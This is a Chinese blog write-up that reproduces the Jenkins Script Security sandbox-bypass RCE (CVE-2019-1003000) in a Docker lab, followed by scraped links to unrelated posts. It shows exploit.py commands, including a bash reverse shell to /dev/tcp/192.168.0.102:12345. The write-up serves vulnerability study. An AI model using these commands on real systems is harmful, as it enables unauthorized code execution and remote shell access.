0X1 漏洞预警

2019年1月8日,Jenkins官方发布了一则Script Security and Pipeline 插件远程代码执行漏洞的安全公告,漏洞CVE编号为:CVE-2019-1003000,官方定级为高危。2019年2月15日,网上公布了该漏洞的利用方式,该漏洞允许具有“Overall/Read”权限的用户或能够控制SCM中的Jenkinsfile或者sandboxed Pipeline共享库内容的用户绕过沙盒保护并在Jenkins主服务器上执行任意代码。

Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能。Jenkins的目的是持续、自动地构建/测试软件项目以及监控软件开放流程,快速问题定位及处理,提示开放效率。

Script Security and Pipeline 插件是Jenkins的一个安全插件,可以集成到Jenkins各种功能插件中。它主要支持两个相关系统:脚本批准和Groovy沙盒。

该漏洞存在于Declarative Plugin 1.3.4.1之前的版本, Groovy Plugin 2.61.1之前的版本以及 Script Security Plugin 1.50之前的版本。该漏洞通过将AST转换注释(如@Grab)应用于源代码元素,可以在脚本编译阶段避免脚本安全沙箱保护。所以会造成具有“Overall/Read”权限的用户或能够控制SCM中的Jenkinsfile或者sandboxed Pipeline共享库内容的用户可以绕过沙盒保护并在Jenkins主服务器上执行任意代码。

0X2 漏洞复现

可以在官网下载漏洞版本,我们在此选择其他安全研究人员已经测试好的demo进行测试,下载地址:

https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc

分别在Kali下和Ubuntu16.04下搭建,发现Ubuntu下的环境在运行的时候失败了,原因是docker版本过旧,安装的是docker.io,所以请务必安装最新的docker-ce。本次环境在kali下进行,并且kali已经安装了最新版的docker,安装方法请自行度娘。

代码下载链接:

https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc

下载之后,安装依赖环境:

进入sample-vuln文件件,拉取环境:

拉取完成之后,开始运行环境,但是一直没有启动来,一运行启动命令,ps查看都没有容器实例:

再次编辑运行脚本,去掉--rm子命令,不用自动移除相同名称的容器。再次运行之后,docker ps -a查看能够发现环境实例存在,但是docker ps没有,上一条的命令显示环境一启动就退出了,通过日志命令docker logs container_id 排查:

发现是权限问题,本地的jenkinsdata文件夹是root权限,而jenkins的权限很小,uid等信息都是1000,所以修改jenkinsdata的权限并删除之前的容器再次运行脚本,即可启动环境:

这样环境已经启动ok了!

由于环境是作者已经搭建好的,因此我们进入到容器中,并没有发现初始化密码的文件secrets/initialAdminPassword的存在:

所以只能使用user1/user1进行登录,并发现已有的job任务my-pipeline已经被创建好

下面利用已有的信息进行漏洞利用:

python exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "whoami"

反弹shell成功:

python exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "bash -i >& /dev/tcp/192.168.0.102/12345 0>&1"

至此,漏洞利用成功!

实验的难点在于jenkins 2.152-alpine的安装搭建,并且漏洞的几个插件都已经被官方修复,在系统配置中安装的时候,security-script很容易被升级到最新版,利用就会失败!

做实验不容易,且行且珍惜!

参考链接:

https://github.com/petercunha/Jenkins-PreAuth-RCE-PoC

https://devco.re/blog/2019/02/19/hacking-Jenkins-part2-abusing-meta-programming-for-unauthenticated-RCE/

https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html

jenkins rec cve-2019-1003000 复现相关推荐

  1. jenkins rec 分析 cve-2018-1000861 分析

    0x01 Jenkins的动态路由解析 web.xml: 可以看到Jenkins将所有的请求交给org.kohsuke.stapler.Stapler来处理的,跟进看一下这个类中的service方法: ...

  2. 指称表达理解(REC)——MAttNet论文复现,以及踩过的坑!

    MAttNet论文复现 一.论文连接以及代码地址 论文链接:<MAttNet: Modular Attention Network for Referring Expression Compre ...

  3. 2021年第一季度Sumap网络空间测绘CVE漏洞趋势安全分析报告

    前言 本文主要通过网络测绘角度收集各种资产协议的版本号信息,通过比对CVE漏洞影响范围中的版本号方式,进行安全风险趋势分析,无任何实际危害互联网行为.资产在携带版本中也会存在修复补丁后版本不变的情况. ...

  4. Notes Twelfth Day-渗透攻击-红队-命令与控制

    ** Notes Twelfth Day-渗透攻击-红队-打入内网(dayu) ** 作者:大余 时间:2020-09-28 请注意:对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透 ...

  5. RiskSense Spotlight:全球知名开源软件漏洞分析报告

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 RiskSense 公司最近发布了关于全球当前知名开源软件 (OSS) 的漏洞分析报告.奇安信代码卫士团队编译如下.   摘要 开源软 ...

  6. 【社招】一年测开经验转后端开发经历。

    背景 先说下背景吧,我是2019年毕业的本科生,985非科班,而且是和计算机专业八杆子打不着的那种非科班.大二的时候打球认识了我们学校一个计算机专业的学生,听他说互联网现在薪资好高,写代码特别有意思, ...

  7. 攻防世界web高手进阶php_rce,php_rce 攻防世界xctf web

    php_rce 首先了解ThinkPHP5.x rec 漏洞分析与复现https://blog.csdn.net/qq_40884727/article/details/101452478 var_p ...

  8. 未发现数据源名称并且未指定默认驱动程序_看我如何发现NVIDIA GeForce Experience代码执行漏洞...

    0x01 前言大家好,我是来自Chengdu University of Technology的Siyuan Yi,本人是一名安全爱好者,平时喜欢搞搞逆向,玩玩CTF.不久前,我发现了我的第一个0da ...

  9. VMware vCenter Server Appliance Photon OS安全修补程序

    VMware vCenter Server Appliance Photon OS安全修补程序 上次更新时间 2019年12月19日 https://docs.vmware.com/en/VMware ...

最新文章

  1. 鼠标事件在浏览器的差异
  2. python中while循环_Python第12课:while循环案例 打印输出有规律的造型
  3. swift -自定义返回图片,替换系统图片backItem
  4. mysql windows ad_mysql windows安装
  5. spring data整合elasticsearch的applicationContext.xml文件模板
  6. Python爬虫小白入门(六)爬取披头士乐队历年专辑封面-网易云音乐
  7. adodb.recordset.open方法的参数
  8. 从零基础入门Tensorflow2.0 ----五、20. 预定义estimator使用
  9. linux 间传输文件的几种方法scp、sftp
  10. Java入门书籍推荐
  11. java随机点名器_基于JavaScript实现随机点名器
  12. SpringMVC 之Resolver视图解析器笔记(六)
  13. 系统学习深度学习(四) --CNN原理,推导及实现源码分析
  14. 计算机文化基础案例教程第三版答案,计算机文化基础案例教程教学课件作者第3版谭宁教学课件素材排骨做法.doc...
  15. 夜神模拟器怎么开脚本?
  16. 4D毫米波雷达硬件系统架构
  17. mysql表名可以用中文么_[急]MySQL中建表不能使用中文字段吗?解决思路
  18. C语言假设银行一年存利
  19. ASP.NET文件操作
  20. Hello my friend

热门文章

  1. N4 接口是 5G 产业价值的金线
  2. 云边协同 — 协同的类型
  3. altium designer 的Import wizard 没有内容或为空的解决方法
  4. mysql-自动备份数据库服务
  5. server side render
  6. Node.js v8.0.0 带来了哪些主要新特性
  7. maven中pom.xml中依赖包代码的查询地址
  8. LINQ to SQL语句(4)之Join
  9. Linux C动态链接库实现一个插件例子
  10. Answer:关于C#连续赋值的面试题